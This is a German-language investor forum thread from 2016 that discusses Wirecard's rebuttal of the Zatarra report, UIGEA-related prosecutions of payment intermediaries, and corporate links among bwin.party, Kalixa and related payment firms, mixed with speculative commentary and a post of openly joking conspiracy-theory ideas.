      5. Wire Card UK Limited (Firmennummer 05888415) wurde am 27. Juli 2006 im Auftrag der Wirecard AG von einem Incorporation Agent zwecks Gründung einer Tochtergesellschaft für Wirecard im Vereinigten Königreich gegründet, aber letztendlich wurde anders entschieden so dass sie letztlich eine Vorratsgesellschaft war, die nie aktiviert, noch zu irgendeinem Zeitpunkt Eigentum der Wirecard Group war. Sie wurde am 17. August 2010 aufgelöst. Die erste Meldeadresse von Wire Card UK wurde vom Incorporation Agent festgelegt. Sie wurde nie geändert, weil die Gesellschaft nie aktiviert wurde. Wäre sie in irgendeiner Weise aktiviert worden, wäre die Anschrift selbstverständlich in eine Wirecard-Adresse abgeändert worden. Die Tatsache, dass es sich bei der Adresse um eine Wohnanschrift handelte, liegt außerhalb unseres Verantwortungs- und Einflussbereichs.
      6. Weder mittelbar noch unmittelbar hat Bluetool Limited jemals zur Wirecard Group gehört.
      7. Weder mittelbar- noch unmittelbar hat Bluemay Enterprises jemals zur Wirecard Gruppe gehört.
      8. H. Usman Fayaz war weder direkt noch indirekt Aktionär einer der Gesellschaften zum Zeitpunkt des Kaufs des Zahlungsgeschäfts der GI Retail Group. Weder GI Technologies noch Hermes waren jemals an irgendeiner Form von Lotterie- oder Gaming-Geschäft beteiligt. GI Technologies ist der führende Inlandsgeldtransferanbieter in Indien und der Aufsicht der indischen Zentralbank ‚Reserve Bank of India‘ (RBI) unterstellt. Das Unternehmen wird regelmäßig von den Aufsichtsbehörden geprüft und setzt strenge KYC- und Compliance-Verfahren für seine Geldtransfertransaktionen ein. Der Unternehmensbetrug, auf den hier Bezug genommen wird, bezieht sich auf die Firma Popular Agro Farms Pvt Ltd, die überhaupt nichts mit Wirecard oder GI Retail zu tun hat.
      9. Wirecard hat die Asia Pacific E-Serv Corporation (aspaconline) nie erworben. Wirecard Asia Pacific, Philippinen, war 2007 eine neu gegründete Gesellschaft und wurde 2012 aufgelöst.
      10. Wirecard hat niemals Content-Websites oder sonstige Handelsgeschäftsmodelle gehostet.
      11. Wirecard hat nie gegen das US-Gambling-Gesetz (UIGEA) verstoßen.
      12. Click2Pay war als Zahlungswallet vorwiegend für den europäischen Markt im Bereich digitaler Content positioniert. Gleichzeitig war Click2Pay konform mit den Regularien der Kreditkartenorganisationen und dem UIGEA. Click2Pay hat nie eine bedeutsame Marktstellung erreicht. Sowohl die abgewickelten Volumen als auch die Gewinnbeiträge waren in Relation zu den Kernprodukten-und Lösungen der Wirecard AG relativ gering. (2008 waren es beispielsweise im Konzern unter 4% der EBIT-Beiträge absteigend auf 0% ab 2010)
      Avatar
      schrieb am 02.08.16 20:23:42
      Beitrag Nr. 157 ()
      further reading:
      Zitat von jigajig: Gibt's noch einen Punkt der Märzwiderlegung seitens der Wirecard, der noch offen ist? Dann bitte melden. Gehen wir es mal kurz durch:

      (Auseinandersetzung mit der Antwort Zatarras auf die "Widerlegung" der Wirecard im März)

      Zitat von jigajig: Eine bis dahin unbekannte Gruppierung, die sich den Namen "Zatarra Research and Investigations LLC" gegeben hat, hat Ende Februar einen umfassenden und bestens belegten Recherchebericht zur Wirecard AG veröffentlicht, den besten Bericht, den es in der langen und an Vorwürfen reichen Geschichte dieser Firma mit ihrer langen und an Fragwürdigkeiten reichen Vergangenheit jemals gegeben hat.

      Stellungnahme zum Zatarrabericht inkl. der Links zu den Berichten
      Avatar
      schrieb am 05.08.16 23:39:27
      Beitrag Nr. 158 ()
      Das müssen wir jetzt auseinander dividieren:
      a) jigajig postet zu Wirecard allgemeine Dinge, positiv wie negativ
      b) jigajig schreibt Gegenprovokationen
      c) jigajig schreibt zu "Belegen" (oder Hinweisen) im Zusammenhang mit Vorwürfen

      zu (c):
      Es gibt keinen Ansatzpunkt! Ich halte UIGEA/Geldwäsche für nicht juristisch greifbar. Das habe ich vor längerer Zeit schon erklärt: In Deutschland ist es womöglich keine Geldwäsche (gewesen), in den USA schon, aber wurde nur innerhalb des Zugriffsbereich der US-Justiz verfolgt. Somit könnten sich die Vorwürfe in diesem Punkt (falls sie belegbar wären) als "nicht strafbarer Regelverstoß" erweisen.
      Deshalb glaube ich auch nicht, dass 2010 gegen die Wirecard ernsthaft ermittelt wurde. Nicht, weil die Vorüwrfe an sich substanzlos gewesen wären, sondern weil sie juristisch nicht greifbar waren. Das hätte sich durch die Aussage von Schütt geändert! Dann wären die Vorwürfe an sich mehr oder weniger gleich gewesen, aber dann plötzlich wären sie juritsich relevant geworden.
      Mit anderen Worten: Was Wirecard getan und gelassen hat, ist das eine, welche juristischen Risiken wirecard hatte, ist etwas anderes. Ich sehe aber nicht ein, dass ein Verhalten anders beurteilt wird, nur aufgrund der Einschätzung, dass es juristisch relevant ist oder nichtoder aufgrund der Tatsache, dass es sich auf den Aktienkurs auswirkt oder nicht. Deshalb das Beispiel "Union Carbide". Deren ethisch/moralisch betrachtet unfassbar harmlose Bestrafung führte zu einem Aktiengewinn. Juristisch war das alles sauber, ethisch/moralisch gesehen kommt mir das Kotzen, sowohl im Hinblick auf UCAR, als auch im Hinblick auf die Profiteure und natürlich auch im Hinblick auf die beteiligte indische Regierung.
      Zurück zu UIGEA:

      Ganz kurz erklärt: UIGEA hat es den Pokerfirmen verboten, Gelder von und zu US-Spielern zu transferieren. Einige haben es trotzdem gemacht. Die Amis wollten die Firmen dafür bestrafen. Sie haben angefangen, sich mal einen der Zahlungsdienstanbieter zu krallen (Neteller). Die konnten sich freikaufen und haben wohl das ein oder andere erzählt. Dann wird's komplizierter: Über Tzvetkoff wussten sie einiges, Schütt haben sie Anfang 2010 kassiert (und, wie man lesen konnte, kam dies durch aufmerksame Bankmitarbeiter und FedEx-Mitarbeiter in Gang, wenn es denn so gewesen ist).
      Als sie Schütt drangekriegt haben, wussten sie schon einiges über das Netzwerk, das kann man aus dem Gerichtsdokument schließen. Dann kam Tzvetkoff dran und der plauderte auch. Dann wussten sie noch mehr. 2012 erklärte sich Rubin für schuldig (im Zusammenhang mit einem Verfahren, in dem eine Reihe von Namen genannt werden, u.a. Raymond Bitar [wirecard-Konten auf seinen Namen!], Nelson Burtnick [einer der masterminds des Komplotts, später bei Inatec], John Campos [dem gehörte eine Bank, bei der Schütt Konten hatte, glaube ich], ..., Ryan Lang [der war bei neteller], Daniel Tzvetkoff [Intabill, Australien --> Kolyma, wirecard-Konto], Ira Rubin

      Ira Rubin hat sein Schuldeingeständnis später juristisch angefochten
      https://www.gpo.gov/fdsys/pkg/USCOURTS-ca2-12-03777/pdf/USCO…

      Rubin’s principal argument on appeal is that he was convicted of a “non‐offense” when he pleaded guilty to Count One. Rubin was prosecuted for conspiring to violate Section 5363 of the UIGEA, which applies to anyone “engaged in the business of betting or wagering.” See 31 U.S.C. § 5363. The statute does not directly define the phrase “business of betting or wagering,” but states that it “does not include the activities of a financial transaction provider,” id.
      § 5362(2) (emphasis supplied), such as the activities of those entities or individuals engaged in the business of transferring or transmitting credit or funds, see id. § 5362(4). A financial transaction provider may be charged under Section 5363, however, if such individual has, among other requirements, “actual knowledge and control of bets and wagers.” Id. § 5367.

      Rubin contends that Count One charged a non‐offense because it alleged that he did nothing more than handle gambling funds—i.e., engage in “the activities of a financial transaction
      provider”
      —which are expressly excluded from the “business of betting or wagering” and thus generally exempted from prosecution under the UIGEA.
      According to Rubin, in order to charge him as a financial transaction provider, Count One needed to allege that he had actual knowledge and control of bets and wagers. The Government responds that Rubin did in fact conspire in the business of betting or wagering within the meaning of the proscription of Section 5363 because his conduct was not limited to the activities of a “financial transaction provider,” understood as the routine processing of financial transactions between gamblers and internet gambling companies.
      [...]
      With regard to Rubin’s role in the offense, although he did not run a gambling website himself, Rubin made it possible for the Internet Poker Companies to operate in the United States by disguising gambling payments as legitimate transactions so banks would not block them. Rubin also played a central role in the fraud and money laundering conspiracies charged in Counts Eight and Nine.

      Wenn man sich in diese Dokumente einliest, erkennt man, dass die US-Justiz die meisten Schritte des Komplotts überwacht hat. Das wird alles auch ausführlich beschrieben: Wer mit Tzvetkoff gesprochen hat, wer die Konten kontrolliert hat, was Nelson Burtnick gemacht hat.

      Der Fall Schütt liegt da mittendrin. Aber man erfährt nichts über die Verbindung, auch nicht in verschiedenen Büchern zu dem Thema.

      Es ist wirklich erstaunlich, offenbar hat man sich eben keinerlei Gedanken über die Rolle von Banken außerhalb der USA gemacht. Noch einmal: dsas heißt nicht, dass irgendwelche Vorwürfe falsch waren.

      Wer behauptet, dass das FBI wirecard überprüft hätte oder ähnliches, der soll das belegen. Es stimmt nicht!

      Wirecard selbst hat das auch nie behauptet, man hat sich halt nur nie gewehrt, wenn Journalisten es so geschrieben haben.

      Mein Aha-Erlebnis hatte ich im WARBURG-Statement zu Zatarra:
      Wirecard Bank was not convicted for money laundering inthe Schuett case. Obviously, prosecutors didn’t see and find any relation between Schuett’s money laundering network and Wirecard Bank. If the FBI or German prosecutors had found any evidence for money laundering in 2010 and 2011, why didn’t we see any action against Wirecard between 2011 and 2016?

      Die Strafverfolgungsbehörden haben also keine Verbindung gesehen und gefunden, sagt Warburg. Aber haben sie diese denn gesucht???
      Ich behaupte: Die Amerikaner haben gar nicht gesucht... und in Deutschland gab es keine Geldwäsche.
      According to Zatarra, new information is now available, which investigators did not have
      access to in 2010. Zatarra says that some important filings regarding Wire Card and
      other companies was not available during the time of the investigation because the information was published afterwards.

      Man muß dabei beachten, dass Zatarra der Auffassung ist, Wirecard könne strafrechtlich verfolgt werden wegen der Schütt-Geschichte. Daher argumentieren sie so, wie sie argumentieren und deshalb ist Zatarra auch dieser "Wire Card UK"-Link so wichtig.

      Das ist nach meiner Auffassung Quatsch, denn die Amis hätten Wirecard bereits 2010 auf den Kopf gestellt, wenn sie es gewollt hätten! (Genau das, was Warburg ja schreibt!)
      Anders als Zatarra vertrete ich die Auffassung, dass die US-Justiz nicht gegen wirecard vorgehen würde, selbst wenn alles stimmt, was Zatarra behauptet. Das heißt aber auch, dass die tatsache, dass die Strafverfolgungsbehörden nichts gemacht haben, unter meiner Prämisse nicht bedeutet, dass die Vorwürfe gegen Wirecard deshalb falsch waren. Das gilt bereits für 2008 und gilt auch für 2010.
      Noch ein interessantes Deatil aus dem Wirecardbericht:
      In an email statement, Wirecard wrote: “With regards to the Schütt case, in 2010 the online portal Goldman, Morgenstern & Partners (“Gomopa”) published a report falsely
      claiming that Mr Michael Schütt, in his testimony to US authorities, named Wirecard as an ally in his money laundering scheme for gamblingcompanies. Several investigations by journalists have entirely cleared both Wirecard and Mr Trautmann in relation to Gomopa’s false claims. Gomopa’s claims were entirely fraudulent and made solely to manipulatively drive down Wirecard’s stock price. For an example ofthis, please see the Handelsblatt article available via the link: http://www.handelsblatt.com/finanzen/maerkte/boerseinside/ma…
      ht-untersucht-kursachterbahn-beiwirecard/3406252.html" target="_blank" rel="nofollow ugc noopener">http://www.handelsblatt.com/finanzen/maerkte/boerseinside/ma…
      ht-untersucht-kursachterbahn-beiwirecard/3406252.html Gomopa’s reputation for
      questionable business practices is well known.”


      Ich lese das so, als wäre die Mail, die Warburg zitiert, aktuell.
      Da steht nichts von irgendeiner FBI-Untersuchung! Da heißt es plötzlich, "Journalisten" hätten bei Untersuchungen nichts gefunden.
      Hätte das FBI wirecard untersucht und für sauber befunden, hätte wirecard das sicherlich auch genau so geschrieben. Das haben sie aber nicht!
      Warburg hat das natürlich "nicht bemerkt"...

      Die Tatsache, dass weder amerikanische noch deutsche Behörden gegen Wirecard vorgegangen sind, wird als wichtiges Element einer Beweisführung hergenommen, die die Belege Zatarras als irrelevant darstellen soll. Das ist aber - wenn man meiner Annahme folgt - nicht schlüssig.

      Davon abgesehen, dass weitere Belege Zatarras, insbesondere im Hinblick auf Gateway, Burtnick, Knöchelmann, Carbone usw. durchaus noch interessant wären, weil sie möglicherweise für die US-Behörden interessant sein können, wenn die von mir propagierte "nicht-Verfolgbarkeit" in Sachen UIGEA dadurch möglicherweise gekippt würde, da beispielsweise Carbone durchaus in derselben kategorie anzusiedeln wäre wie Rubin. Und Carbone war GF einer Firma, die an die Wirecard verkauft wurde. Was danach passierte, wäre dann womöglich entscheidend und könnte die US-Justiz interessieren.
      Avatar
      schrieb am 08.08.16 07:27:38
      Beitrag Nr. 159 ()
      Antwort auf Beitrag Nr.: 52.156.783 von jigajig am 10.04.16 15:22:03
      Zitat von jigajig:
      Das wird Ammersonn ganz und gar nicht schmecken…

      …denn heute können Sie den Bestseller: „Die besten Verschwörungstheorien“ von Fantasy-Guru Pavel Bauer kostenlos anfordern. Während bei Ammersonn für dieses Meisterwerk 39,90 Rupien fällig werden, können Sie das Buch über diesen Link tatsächlich vollkommen gratis anfordern. Jetzt hier klicken und schon bald ihre Phantasie erfolgreich vervielfachen

      http://www.aktienschreck.in/kolumnen/Artikel-_Nehmt_ihr_push…


      Dieser Thread war ja ursprünglich einem anderen Thema gewidmet, nämlich einer kleinen Frühstücksidee: Eine völlig abstruse Verschwörtungstheorie zu erfinden, als reiner Witz, allerdings mit ein paar Anspielungen auf relae Gegebenheiten.

      Das ist etwas in Vergessenheit geraten.

      Aber die Idee ist zurück.
      Heute präsentiere ich eine weitere Geschichte, aber sie ist noch nicht fertig.

      Sie nennt sich "Das Guantanamo-Prinzip".

      Das ist Guantanamo Bay
      https://de.wikipedia.org/wiki/Guantanamo_Bay_Naval_Base
      (Camp X-Ray würde sich als Titel anbieten, weil die Bezeichnung weniger bekannt ist als Guantanamo Bay. Also "Camp-X-Prinzip)

      Die Grundidee: Die Amerikaner lagern (als Strategie) unliebsame Dinge einfach ins Ausland aus, z.B. eben Gefangenenlager nach Guantanamo. Dieses Prinzip hat jemand auf edie Wirtschaft übertragen und deshalb unliebsame wirtschaftliche Dinge ausgelagert, z.B. "Banken, die sich nicht ordentlich verhalten".

      In Bezug auf das Thema Finanzen würde das bedeuten: Man hat etwas, aber manchmal passieren da komische Sachen. Das ist zu heikel, es in den USA zu machen, also lagert man das aus.

      zB: Porno- oder Casinoabwicklungen oder Drogengeschäfte.

      Man macht das einfach woanders auf der Welt. Aber; wie laufen die Gewinne wieder zurück???
      (für Banken könnte man das Prinzip, in Anspielung auf "Area 51" auch "Bank 51" nennen.)

      Aber wer macht das? Um die US-Regierung nicht zu beleidigen, könnte man es einfach irgendeinem Mafiaclan unterstellen.

      Also: Die Mafia verwendet das "Bank 51"-Prinzip, um sich der US-Justiz zu entziehen.

      Hmm, Quatsch, denn die Amis würden das sicherlich auch in Europa verfolgen. Hmm.
      Ich merke schon, diese Geschichte ist bei weitem nicht so gut ausgedacht wie die Geschichte mit Syd Barrett und der geheimen Botschaft :(

      Ah, noch eine Idee:
      "Das Gold im World Trade Center"

      http://www.welt.de/print-welt/article484834/Der-Goldschatz-d…

      Neben kleineren und größeren Diebstählen haben die Ereignisse des 11. September auch kriminelle Energie in ganz anderen Bereichen freigesetzt: Seit den Anschlägen fehlt etwa von mehreren Managern der Firma First Equity Enterprises jede Spur. Da das Unternehmen seine Büros im 15. Stockwerk hatte, ist kaum anzunehmen, dass die Manager ums Leben gekommen sind. Mit den Männern fehlen nämlich auch 105 Millionen Dollar, sie gehörten Investoren aus der ganzen Welt.


      aber auch

      Unterdessen haben die Einsatzkräfte am "Ground Zero" Gold und Silber im Wert von über 430 Millionen Mark aus den Trümmern des World Trade Centers geborgen. Bürgermeister Rudolph Giuliani erklärte, ein Großteil des Edelmetalls aus dem Besitz der Bank of Nova Scotia sei bereits abtransportiert worden.


      Die Verschwörungstheorien um 9/11 können ja auch folgendermaßen Sinn machen:
      a) es ist bekannt, dass ein Anschlag aufs WTC geplant ist, aber keiner weiß, wann#
      b) also plant man für den Tag X
      c) zB indem man unliebsame Dinge im Keller versteckt, in der Annahme, WTC wird wieder von einer Bombe angegriffen im Keller
      d) dann kommen diese dummen Terroristen mit dem Flugzeug
      e) Mist, man hat ein problem

      oder so ähnlich

      oder:
      a) Investmentbank "Schlau & Sohn" hat Computerprogramme, um am "Tag X" vorbereitet zu sein (muß dann ja nicht WTC sein). Tag X kommt, Programme laufen an.
      SEC macht Notprogramm, Chaos, "Schalu & Sohn" hat unfassbar viel geld - aber wie kommt es in den geldkreislauf zurück?

      zB durch die bankenkrise?
      Avatar
      schrieb am 08.08.16 15:39:37
      Beitrag Nr. 160 ()
      wer gern investigativ tätig ist - u.a. in usa und d scheint mir die immobilenbranche viele kriminelle anzuziehen. die real estate lobby hat es ihnen glaube ich bisher auch recht leicht gemacht.

      http://www.deutschlandfunk.de/kriminalitaet-deutschlands-pro…
      2 Antworten
      Avatar
      schrieb am 08.08.16 19:20:00
      Beitrag Nr. 161 ()
      Rechne mal aus, was die Banken daran verdienen. Und irgendwelche Fragen gibt es nie. 22 tage vor Zatarra steht im Wirtschaftsblatt ein Artikel zum GVC-Kauf von bwin.Party
      http://wirtschaftsblatt.at/home/boerse/analysen/4916923/Bwin…
      Da steht kein Wort drin über das Gezerre und auch nicht über die Geschichte. Das ist Börse!
      https://en.wikipedia.org/wiki/Bwin.Party_Digital_Entertainme…
      PartyGaming Plc was founded in 1997 with the launch of Starluck Casino.
      bwin wurde in Österreich gegründet
      March 2011 merger of PartyGaming plc and bwin Interactive Entertainment AG.
      Teufelberger's bwin hatte die Mehrheit. Teufelberger und die österreichische Justiz - ein dauerbrenner
      Dann gab es ein gezerre um bwinParty zwischen GVC und 888
      "Following a protracted bidding process between 888 Holdings and GVC Holdings bwin.party confirmed on 4 September 2015 that it had accepted GVC's bid for £1.1 billion. The transaction was completed on 1 February 2016."
      (Die 888 wiederum hat mit Donald Trump verhandelt)

      Amaya Gaming mit CEO Baazov (--> Betonusa,...) hat sich dann den anderen Teil des Pokeruniversums gekauft für fast 5 Milliarden!

      "In June 2014, Amaya agreed to buy the parent company of PokerStars and Full Tilt Poker, owned by Isai and Mark Scheinberg, for $4.9 billion[1][2] The takeover makes Amaya the world's biggest publicly listed online gambling company.[3] The deal was closed on August 1, 2014.[4]"

      in diesem Zusammenhang gibt es ein insiderverfahren, das nach Angaben aus medien wiederum auch die bwin-Sache betrifft:

      http://www.pokerfirma.com/news/online-poker-muss-david-baazo…

      Wie das Journal de Montréal berichtete, sind neben David Baazov sein Bruder Joshua Ofer Baazov sowie dessen Freund Craig Levett die zentralen Figuren der Ermittlung. So soll David vertrauliche Informationen von Aufkaufverhandlungen an seinen Bruder weitergeleitet haben und dieser hat Craig Levett informiert.
      Levett wiederum hat Freunde und Familie, darunter seinen Bruder Earl Levett sowie seine Frau Nathalie Bensmihan, zum Kauf von Aktien gebracht. Der Insiderhandel soll schon vor vier Jahren begonnen haben.
      Damals erwarb Amaya (ehemals Amaya Gaming Group Inc.) Cryptologic Ltd. Zu den weiteren Firmen beziehungsweise Deals, bei denen Insider Trading eine Rolle gespielt haben soll, zählen Chartwell Technology inc., WMS Industries inc., BWIN Party, Intertain Group Limited sowie Oldford Group, die Mutterfirma von PokerStars und Full Tilt.
      Aufgrund der Anklage wurden viele dubiose Geschäfte ans Tageslicht gebracht. Insbesondere Craig Levett und Josh Baazov aka Ofer Baazov haben alles andere als eine blütenreine Weste. Das Duo wird mit der zwielichtigen Seite FutureBet in Verbindung gebracht. Josh Baazov wurde zudem 1997 wegen Betrugs rund um seine Telemarketing-Firma Incentive International verurteilt.


      Der andere Teil der Geschichte, ebenso verwirrend, das ist die Sache mit den Verfahren wegen der Geldflüsse. Da saß die wirecard irgendwie mittendrin, ihre Rolle wurde aber nie wirklich diskutiert.

      Dann gab es noch den Australier und die vermuteten versteckten Millionen irgendwo.

      Und natürlich den Fall in Israel und seine Spuren in genau dieselben Netzwerke.

      über die Cryptologic und Gtech könnte man dann auch wieder beim Inhaber der O2 Czech landen, mit etwas Vereinfachung.

      Nirgends gibt es Klarheit. Obwohl es sogar mehrere Bücher dazu gibt.

      und immer wieder gab es Verstöße, Strafen, Verhaftungen, Gerichtsverfahren, freiwilige oder unfreiwillige Zahlungen in dreistelliger Millionenhöhe. Egal, die Börsendeals gingen trotzdem munter weiter. Was passiert ist, zählte nie, immer nur die Aussichten.

      https://www.theguardian.com/business/2008/dec/17/party-gamin…
      Partygamings Führungskraft erklärt sich vor einem US-Gericht schuldig und zahlt 300 Mio US$ Strafe, daraufhin steigt der Kurs um 27%

      Später kaufen die Österreicher mal eben die Mehrheit an dieser Firma, trotz deren Verbindung zu einer höchst umstrittenen Milliardärin.

      Partygaming ging 2005 an die Börse, angestrebtes Volumen: 7,2 Milliarden Euro! (5 Milliarden Pfund)
      http://www.spiegel.de/wirtschaft/party-gaming-boersengang-fu…

      2009 verkaufte Dikshit 28% seiner Anteile für gerade mal 188 Mio Pfund.

      GVC zahlte bei der Übernahme von bwin.Party wieder 1,1 Milliarden pfund.

      GVC verhandelte Anfang des Jahres über den Verkauf der Paymentsparte (ursprünglich von bwin)

      Januar 2016
      Kalixa is a payments services business and the bulk of its work is for Bwin. However, the subsidiary - which began as Bwin’s internal payments department - has grown and now also manages transactions for other companies such as retailers.


      Das Payment für PartyGaming war wieder eine andere Geschichte:

      2009
      ESI Entertainment Systems Incorporated has announced a white-label deal with PartyGaming that will see instant Internet banking transactions for the leading online gaming operator handled by its Citadel Commerce subsidiary.

      2010
      Realex Payments macht Abrechnung für Cryptologic
      Realex Payments was founded in 2000 by award winning entrepreneur Colm Lyon. Today it services over 3,500 clients across Europe, including The AA, Virgin Atlantic, Vodafone and Aer Lingus. The client list of Realex Payments also includes leading online gaming operators like PartyGaming. Realex Payments will provide comprehensive payment processing services for Cryptologic across a variety of currencies, regions and card types, and will provide a gateway service to its card acquiring partners.

      2015 GB bwinParty
      "Outside of our core gaming activities, we have made good progress on growing Kalixa, our digital payments business. Following the acquisition of PXP in May 2014, we have secured a number of large third-party contracts and concluded an international joint venture with Millicom to exploit payment opportunities in Latin America and Africa."

      Da war die Casinofirma plötzlich Paymentanbieter. eine Art "wirecard light"
      Kalixa’s four core products are Kalixa Pay, a prepaid e-wallet with 200,000 users across Europe, Kalixa Pro, an mPOS for small businesses and sole traders, Kalixa Accept, which allows merchants to accept more than 200 payment methods and the PXP Payment Gateway with customers including Urban Outfitters, Intercontinental Hotel Group, bwin.party and MasterCard.
      Following the acquisition of PXP, Kalixa says that it becomes one of the world’s top five payment services providers, based on capability and range of payment options. With its single payments platform, the Kalixa payments group provides merchants of all sizes with omni-channel payments from one supplier. In 2013, Kalixa and PXP processed global transactions worth a combined €10bn. The Kalixa group has an addressable market of more than 100 countries. It has over 200 employees internationally and offices in London, Gibraltar, Cologne, Vienna and New York.


      und apropos "wirecard light..."
      2003 oder 2004 wechselte Tobias Schreyer von der Wirecard zu PartyGaming (da ist sein profil nicht so eindeutig)

      Director Payments
      PartyGaming Plc
      2004 – 2006 (2 Jahre)

      Dann war er:
      Managing Director, Co-Founder
      Transact Network Limited
      2007 – 2011 (4 Jahre)
      --> viabuy/medius-Skandal
      https://viabuyunddieverschwundenenmillionendermediuscard.wor…


      ""We are excited that Deependra has joined Transact as Chief Operating Officer. Deependra was instrumental in the successful growth of Party Gaming (now BWIN Party Gaming) as their Director of Transaction Services working with Party Gaming from start up through to their successful LSE listing. After leaving Party Gaming, Deependra then spent the last four years building India's second largest online education company Next Education," added Kiran Sidhu.
      ...

      Schreyer gründete dann PPRO
      Chief Commercial Officer, Co-Founder
      PPRO Group
      2011 – Heute (5 Jahre)

      ...und taucht natürlich im Zatarrabericht auf.

      Bitte verlange keiner, dass ich das irgendwie sortieren kann
      Avatar
      schrieb am 08.08.16 19:27:58
      Beitrag Nr. 162 ()
      Antwort auf Beitrag Nr.: 53.013.502 von SmartCap am 08.08.16 15:39:37
      Zitat von SmartCap: wer gern investigativ tätig ist - u.a. in usa und d scheint mir die immobilenbranche viele kriminelle anzuziehen. die real estate lobby hat es ihnen glaube ich bisher auch recht leicht gemacht.
      http://www.deutschlandfunk.de/kriminalitaet-deutschlands-pro…

      Das ist doch immer Thema :)
      Gerade geht es beispielsweise in Canada um eine Immobilienblase. Schau Dir mal an, wer da aufdeckend aktiv ist... Ach nein, der Hühnerzüchter!
      Marc Cohodes wurde 2008 quasi zermalmt, weil er gegen Lehman wettete. Eine unglaubliche Story... auch Goldman Sachs spielte eine Rolle und ein plötzliches Verbot des shortens von Finanztiteln, der Hedgefond von Cohodes wäre fast kollabiert...
      http://archive.fortune.com/2008/10/10/news/economy/river_boy…

      Im laufe der Jhare habe ich verschiedentlich auch Immobilien als Thema gehabt. Aber das erledige ich dann im nächsten Leben. Du wirst im Leben nicht erraten, aus welcher Ecke die Urväter der heutigen Wirecard so kommen. Das heißt: natürlich wirst Du erraten, dass sie in Frankfurt etwas mit...
      ...aber ich habe es nicht gesagt :)
      1 Antwort
      Avatar
      schrieb am 08.08.16 20:18:03
      Beitrag Nr. 163 ()
      Antwort auf Beitrag Nr.: 53.015.260 von jigajig am 08.08.16 19:27:58ist klar, aber bisher lasch sehr gehandhabt. nur ne idee für short fans ;-), in dem umfeld mal nach anfälligen firmen zu schaun'.
      Avatar
      schrieb am 08.08.16 21:30:24
      Beitrag Nr. 164 ()
      Kalixa wurde eingestellt zum April 2016. In den Foren schälte sich ein favorit zum wechseln heraus: Number26

      http://www.mydealz.de/diverses/kalixa-schlie%C3%9Ft-zum-24-a…

      Der Gründer von kalixa war übrigens der Issuingchef von Optimal Payments (heute Paysafe)

      kalixa hatte früher andere Namen, 2015 mit Santander UK KITTY app gemacht

      kalixa accept limited
      2012 einer der Inhaber Norbert Teufelberger

      ja klar, war ja das bwin-payment
      CQR Payment Solutions GmbH, Manfred Bodner

      bwin hat dann quasi selbst in sein eigenes Startup kalixa investiert
      http://finovate.com/videos/finovateeurope-2013-kalixa/

      Key Stats
      Key Executives
      Edward Chandler (CEO), Kamran Hedjri (COO), Guenther Doppler (CFO)
      Key Board Members
      Kamran Hedjri (COO, CQR Payment Group), Guenther Doppler (CFO, CQR Payment Group), Norbert Teufelberger (Co-CEO, bwin.party), Joachim Baca (COO, bwin.party) Christopher Schrank (Managing Partner, Brandl & Talos Rechtsanwälte)
      Key Investors
      bwin.party Group

      Brandl & Talos als Rechtsanwälte waren an fast allen Deals von bwin beteiligt

      die PXP Solutions Inc
      in Tampa, Florida
      https://bizstanding.com/profile/pxp+solutions+inc-175254436

      2011 gegeründet, dann an Kalixa verkauft

      Kamran Hedjri, COO at Kalixa, told MMR: “Other mPOS providers use partners to deliver their services. Ours is an all-in-one platform that can integrate a wallet with standing orders, direct debits and more. The settlement of funds happens in the wallet, so it even becomes your bank account.”
      And Ed Chandler, CEO of Kalixa Group, added: “Most merchants and consumers don’t know that up to ten different companies are involved in making or accepting a single payment, with each one taking a cut and expecting a return. This is adding unnecessary cost, complexity and risk to merchant and consumer payments.
      “Kalixa is here to disrupt this scenario. We intend to trim the ‘fat’ by removing the excess links in the value chain to make payments simple, seamless and secure.”


      alles ein Kreisel

      bis nach malta

      NEW MEDIA AND GAMING HOLDING LIMITED
      VALLEY TOWERS, NO.3,
      VALLEY ROAD,
      BIRKIRKARA
      BKR9022
      MALTA
      Company No: C 44503
      Date: 18/06/2008
      Authorised Share Capital: EUR 2400
      Issued Share Capital: EUR 2400
      Director: DAVID DEMARCO
      Judicial Representative: DAVID DEMARCO
      Legal Representative: DAVID DEMARCO
      Secretary: RUTH ZAMMIT
      Subscriber: MANFRED BODNER
      Subscriber: NORBERT TEUFELBERGER


      das erste NFC-fähige I-Phone wallet - von einer österreichischen Pokerholding?
      https://contactlessintelligence.com/2012/09/12/first-nfc-ena…


      Fünftgrößter Paymentabwickler? State of the Art?

      Ja sappralot, warum haben die dann 2006 eine Kooperation mit wirecard gemacht, um click2pay zu nutzen?

      http://ir.wirecard.com/websites/wc/English/3150/financial-ne…
      Avatar
      schrieb am 08.08.16 21:47:17
      Beitrag Nr. 165 ()
      und - kein witz - die Kalixa Payment (Kalixa Pay) (gegründet 1/2014) wurde umbenannt in KALIAX PAY, GF ist ein 1941 geborener Italiener, wahrscheinlich in Deutschland tätig. Das ist doch alles völlig meschugge

      nach dem GVC/bwinParty-Deal hat Norbert Teufelberger für 2,25 Mio Pfund Aktien verkauft
      The share price of GVC Holdings has been on a rollercoaster ride since the company’s reverse takeover of bwin.party digital entertainment on February 1.
      Shares in GVC traded for 436.00p at close on January 29 before soaring to an all-time high of 511.00p at close of trade on February 1, the day the takeover officially completed. Since hitting those dizzy heights, the share price has fallen on five of the past six days, a situation not helped by Norbert Teufelberger selling shares worth approximately £2.25 million.
      Teufelberger, the former CEO of bwin.party and now a Non-Executive Director of the new company, sold off 460,000 shares at a price of 490.00p on February 8. The share price fell to 488.00p at close that day then fell to 456.00p at the end of trading on February 9.


      der Kurs stieg danach aber deutlich an und steht aktuell höher denn je

      GVC Holdings PLC

      Kalixa bekommt immerhin 10 Mio aus dem Visadeal.

      sind die jetzt noch nicht verkauft?
      wer kauft sie?
      die Chinesen?
      Avatar
      schrieb am 08.08.16 23:22:33
      Beitrag Nr. 166 ()
      offtopic domainstreit um transactnetwork.com

      Complainant, Transact Network Limited, is an “e-money business” that conducts its business online. Complainant operates under the “Transact Network” tradename.

      Respondent, MobiStub LLC, is owned and operated by Miles Paschini, former founder and director of Transact Network Limited. The WHOIS information lists Miles Paschini as the administrative contact for both of the <transactnetwork.com> and <transactnetwork.net> domain names. As such, the Panel will refer to MobiStub LLC and Miles Paschini interchangably as Respondent.

      ---

      Blackhawk Network Signs Agreement to Acquire EWI Holdings, Inc.
      PLEASANTON, Calif.--(BUSINESS WIRE)--Oct. 5, 2006--Blackhawk Network, a market leader in card-based financial solutions and the largest provider of third-party prepaid cards signed an agreement to acquire EWI Holdings, Inc. (EWI), a leading provider of prepaid payment processing technology and services.

      ...
